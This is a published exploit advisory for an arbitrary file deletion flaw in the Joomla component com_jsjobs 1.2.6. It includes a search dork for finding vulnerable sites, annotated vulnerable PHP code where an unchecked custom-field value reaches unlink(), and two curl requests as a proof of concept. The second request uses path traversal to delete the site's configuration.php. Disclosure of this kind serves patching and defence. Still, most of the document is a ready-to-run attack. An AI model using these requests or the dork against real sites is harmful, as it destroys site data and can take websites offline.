Joomla JS Jobs 1.2.6 Arbitrary File Delete

`# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion  
# Dork: inurl:"index.php?option=com_jsjobs"  
# Date: 2019-08-16  
# Exploit Author: qw3rTyTy  
# Vendor Homepage: https://www.joomsky.com/  
# Software Link: https://www.joomsky.com/5/download/1  
# Version: 1.2.6  
# Tested on: Debian/nginx/joomla 3.9.0  
  
# Vulnerability details:  
# This vulnerability is caused when processing custom userfield.  
  
File: site/models/job.php  
Function: storeJob  
Line: 1240  
-------------------------------------  
  
1215 //custom field code start  
1216 $customflagforadd = false;  
1217 $customflagfordelete = false;  
1218 $custom_field_namesforadd = array();  
1219 $custom_field_namesfordelete = array();  
1220 $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);  
1221 $params = array();  
1222 $forfordelete = '';  
1223   
1224 foreach ($userfield AS $ufobj) {  
1225 $vardata = '';  
1226 if($ufobj->userfieldtype == 'file'){  
1227 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){  
1228 $vardata = $data[$ufobj->field.'_2'];  
1229 }else{  
1230 $vardata = $_FILES[$ufobj->field]['name'];  
1231 }  
1232 $customflagforadd=true;  
1233 $custom_field_namesforadd[]=$ufobj->field;  
1234 }else{  
1235 $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';  
1236 }  
1237 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){  
1238 $customflagfordelete = true;  
1239 $forfordelete = $ufobj->field;  
1240 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //No check.  
1241 }  
...snip...  
1323 // new  
1324 //removing custom field   
1325 if($customflagfordelete == true){  
1326 foreach ($custom_field_namesfordelete as $key) {  
1327 $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2); //!!!  
1328 }  
1329 }  
  
File: site/models/common.php  
Function: uploadOrDeleteFileCustom  
Line: 851  
-------------------------------------  
  
748 $path = $base . '/' . $datadirectory;  
749 if (!file_exists($path)) { // create user directory  
750 $this->makeDir($path);  
751 }  
752 $isupload = false;  
753 $path = $path . '/data';  
754 if (!file_exists($path)) { // create user directory  
755 $this->makeDir($path);  
756 }  
757 if($for == 3 )  
758 $path = $path . '/jobseeker';  
759 else  
760 $path = $path . '/employer';  
761   
762 if (!file_exists($path)) { // create user directory  
763 $this->makeDir($path);  
764 }  
...snip...  
843 } else { // DELETE FILES  
844 if ($isdeletefile == 1) {  
845 if($for == 3){  
846 $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';  
847 }else{  
848 $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';  
849 }  
850 $file = $userpath.$field;  
851 unlink($file); //!!!  
852 }  
853 return 1;  
854 }  
855 }  
  
#####################################  
#PoC:  
#####################################  
  
# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.  
  
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"  
  
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"  
`